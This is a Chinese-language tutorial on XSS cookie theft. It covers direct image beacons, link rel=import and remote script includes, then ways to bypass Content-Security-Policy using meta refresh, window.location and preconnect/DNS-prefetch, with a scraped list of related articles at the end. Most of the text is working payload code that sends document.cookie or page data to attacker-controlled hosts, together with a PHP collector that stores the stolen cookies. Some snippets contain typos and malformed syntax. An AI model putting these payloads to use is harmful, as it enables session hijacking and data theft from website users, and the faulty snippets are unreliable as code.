无CSP保护下的xss

1.直接嵌入型

<img src="192.168.81.137:80/xss.php?a=[cookie]">

过滤较少时,优先考虑。触发方式比较直接,直接嵌入能够xss的js代码。

target端  /xx.html

<!DOCTYPE html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script>
var img = new Image();
img.src = 'http://192.168.81.137:80/xss.php?a='+document.cookie;
document.getElementsByTagName("head")[].appendChild(img);
</script>
</body>
</html>

xx.html

attack端  /xss.php

<?php
$cookie = $_GET['a'];
var_dump($cookie);
$myFile = "cookie.txt";
file_put_contents($myFile, $cookei);
?>

xss.php

2.import导入型

<link rel=import href=http://192.168.81.137:80/xss.php>

经常用于过滤比较严格的情况,经过实验发现link的属性rel值为import是会将资源请求回来并一同解析,注意必须是完整的资源例如HTML、PHP、JS等。请求的资源必须要设置允许跨域加载的响应头。

target端  /xx.html

<!-- 无csp 远程包含js文件 -->
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>无csp/远程包含js文件/import</title>
</head>
<body>
<link rel=import href=http://192.168.81.137/xss.php>
</body>
</html>

xx.html

attack端  /xss.php

/*注意填写Access-Control-Allow-Origin: **/

<?php
header("Access-Control-Allow-Origin: *");
echo ;
?>
<script src="https://cdn.bootcss.com/jquery/2.2.4/jquery.min.js"></script>
<script type="text/javascript">
$.get("http://127.0.0.1/flag.php",
function(data){
//alert(data);
location.href="http://192.168.81.137/?a="+escape(data);
});
</script>

xss.php

3.script导入型

<script src=http://192.168.81.137/xss.js></script>

也是输入限制比较多的时候,请求访问可以利用script的远程js加载。

target端  /xx.html

<!DOCTYPE html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script src=http://192.168.81.137/xss.js></script>
</body>
</html>

xx.html

attack端  /xss.js

var img = new Image();
img.src = 'http://45.78.29.252:8888/?a='+document.cookie;
document.getElementsByTagName("head")[].appendChild(img);

xss.js

有CSP保护下的xss

格式:
csp指令1 内容源1 内容源2; csp指令2 内容源1 内容源2
eg.
Content-Security-Policy: default-src ‘self’ www.baidu.com; script-src ‘unsafe-inline’

常用的csp指令

default-src  指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:
child-src 指定定义了 web workers 以及嵌套的浏览上下文
connect-src 定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。
font-src 定义了字体加载的有效来源
img-src 定义了页面中图片和图标的有效来源
media-src
object-src
script-src
style-src 定义了页面中CSS样式的有效来源
script-src 定义了页面中Javascript的有效来源

内容源

‘none’ 代表空集;即不匹配任何 URL。两侧单引号是必须的。 
‘self’ 代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
‘unsafe-inline’ 允许使用内联资源,如内联的script元素、javascript: URL、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
‘unsafe-eval’ 允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。
data: 允许data: URI作为内容来源。
mediastream: 允许mediastream: URI作为内容来源。
 http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

1.跳转

meta标签跳转(然并卵!不知道怎样传递cookie   --!)

在default-src ‘none’情况下,可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://192.168.81.137/xss.php?c=[cookie]" >

<?php header("Content-Security-Policy: default-src 'none';") ;//这里可以设置CSP
?>
<!DOCTYPE html>
<html>
<head>
<title>XSS</title>
<meta http-equiv="refresh" content="1;url=http://192.168.81.137/xss.php?c=[cookie]" >
</head>
<body> </body>
</html>

xx.php

script跳转

在unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

window.location="http://www.xss.com/x.php?c=[cookie]";

<!DOCTYPE html>
<html>
<head>
<title>xss</title>
</head>
<body>
<script>
window.location="http://192.168.81.137/xss.php?a="+document.cookie;
</script>
</body>
</html>

xx.html

2.预处理

prefetch:预加载/预读取(FF浏览器about:config中设置user_pref("network.prefetch-next",false)以禁止所有站点预加载)

<link rel="prefetch" href="http://linux.im/test_prefetch.jpg">

prerender:chrome预渲染

<link rel="prerender" href="http://linux.im">

dns-prefetch:DNS预解析

<link rel="dns-prefetch" href="http://linux.im"> 

preconnect:预加载,不仅完成DNS预解析,还进行TCP握手和建立传输层协议

<link rel="preconnect" href="http://1.111asd1-testcsp.n0tr00t.com">

preload:

<link rel="preload" href="//linux.im/styles/other.css">

注意:

1/  不是所有资源都可以预处理,比如:弹窗页面/恶意软件页面/url包含下载资源/音频视频/非get操作的ajax请求/http认证https页面

2/  CSP的执行规范:Chrome<FF

  Ch:prefetch/prerender/preload...

  FF:preconnect/DNS-prefetch...

Ch演示

<?php

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");

?>

<html>
<head></head>
<body>
csp header test
<script>
document.cookie = "csp=" + escape("sad@jisajid&*JDSJddsajhdsajkh21sa213123o1") + ";"; var n0t = document.createElement("link");
n0t.setAttribute("rel", "preconnect");
n0t.setAttribute("href", "//192.168.81.137/xss.php?a=" + document.cookie);
document.head.appendChild(n0t);
</script>
</body>
</html>

xx.php

偶尔能成功!

FF演示dns预解析

<?php

header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");

?>

<html>
<head></head>
<body>
csp header test
<script>
dc = document.cookie;
alert(dc);
<link rel='preconnect' href="//"+dc+".6dz4ut.ceye.io"> </script>
</body>
</html>

xx.php

存在CSP的预处理流程拓扑

xss漏洞总结

Bypass unsafe-inline mode CSP

XSS Filter Evasion Cheat Sheet 中文版

XSS_Filter_Evasion_Cheat_Sheet

about:config 中 user_pref("network.prefetch-next", false);

CSP里的xss的更多相关文章

  1. ASP.NET Core中使用Csp标头对抗Xss攻击

    内容安全策略(CSP)是一个增加的安全层,可帮助检测和缓解某些类型的攻击,包括跨站点脚本(XSS)和数据注入攻击.这些攻击用于从数据窃取到站点破坏或恶意软件分发的所有内容(深入CSP) 简而言之,CS ...

  2. xss之上传文件的xss,绕过csp,预警机制

    xss1.XSS姿势——文件上传XSS https://wooyun.x10sec.org/static/drops/tips-14915.html总结: 1.1.文件名方式,原理:有些文件名可能反应 ...

  3. Nginx配置各种响应头防止XSS,点击劫持,frame恶意攻击

    为什么要配置HTTP响应头? 不知道各位有没有被各类XSS攻击.点击劫持 (ClickJacking. frame 恶意引用等等方式骚扰过,百度联盟被封就有这些攻击的功劳在里面.为此一直都在搜寻相关防 ...

  4. Portswigger web security academy:Reflected XSS

    Portswigger web security academy:Reflected XSS 目录 Portswigger web security academy:Reflected XSS Ref ...

  5. XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息 ...

  6. ThinkCMF 解决xss攻击问题

    最近使用ThinkCMF给某政府开发的一个平台,因为他们需要通过国家二级信息安全等级测试 所以自己先使用Appscan测试了一下,结果扫描出一个xss安全问题 测试的网址:http://www.xxx ...

  7. 利用CSP探测网站登陆状态

    0x00 背景 今天看到zone里有同学发帖说了探测支付宝登录状态的帖子:http://zone.wooyun.org/content/17665 由此我想到了我们parsec的@/fd 半年前提到的 ...

  8. XSS分析及预防(转)

    阅读目录 XSS的种类和特点 XSS预防 总结 XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行.在WEB前端应用日益发展的今天,XSS漏 ...

  9. XSS 绕过技术

    XSS Cross-Site Scripting(XSS)是一类出现在 web 应用程序上的安全弱点,攻击者可以通过 XSS 插入一 些代码,使得访问页面的其他用户都可以看到,XSS 通常是可以被看作 ...

随机推荐

  1. react-native 获取组件的宽度和高度

    react-native 获取组件的尺寸有两种方式,第一种方式使用元素自身的onLayout属性去获取,但是这种方式有一个局限性,就是只有在初次渲染的时候才会触发这个函数,而且此种方法获取的是组件相对 ...

  2. HTTP Protocol - URI

    Uniform Resource Identifier (URI): compact sequence of characters that identifies an abstract or phy ...

  3. Linux查看线程

    我的程序在其内部创建并执行了多个线程,我怎样才能在该程序创建线程后监控其中单个线程?我想要看到带有它们名称的单个线程详细情况(如,CPU/内存使用率). 线程是现代操作系统上进行并行执行的一个流行的编 ...

  4. nginx的启动与停止

    参考 :http://www.cnblogs.com/codingcloud/p/5095066.html 启动: /usr/local/nginx/sbin/nginx -c /usr/local/ ...

  5. k8s Nodeport方式下service访问,iptables处理逻辑(转)

    原文 https://www.myf5.net/post/2330.htm k8s Nodeport方式下service访问,iptables处理逻辑 2017年07月11日 0条评论 976次阅读 ...

  6. gradle重复依赖终极方案解决办法

    buildscript { repositories { google() jcenter() } dependencies { classpath 'com.android.tools.build: ...

  7. android ButterKnife 点击事件没反应的解决方案

    可能只添加了 implementation 'com.jakewharton:butterknife:8.8.1'而没有添加下面这行 annotationProcessor 'com.jakewhar ...

  8. 记一次sshd启动报错,Failed to start OpenSSH server daemon.

    sshd -t [root@mysql5-slave proj]# sshd -t @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ...

  9. Vue面试题

    Vue 简述下MVVM MVVM全称是MODEL-VIEW-VIEWMODEL Vue是以数据为驱动,Vue自身将DOM和数据进行绑定,一旦创建绑定,DOM和数据将保持同步,当数据发生变化,DOM也会 ...

  10. java并发编程目录

    java并发编程目录 Java多线程基础:进程和线程之由来 JAVA多线程实现的四种方式 Java并发编程:线程间协作的两种方式:wait.notify.notifyAll和Condition Jav ...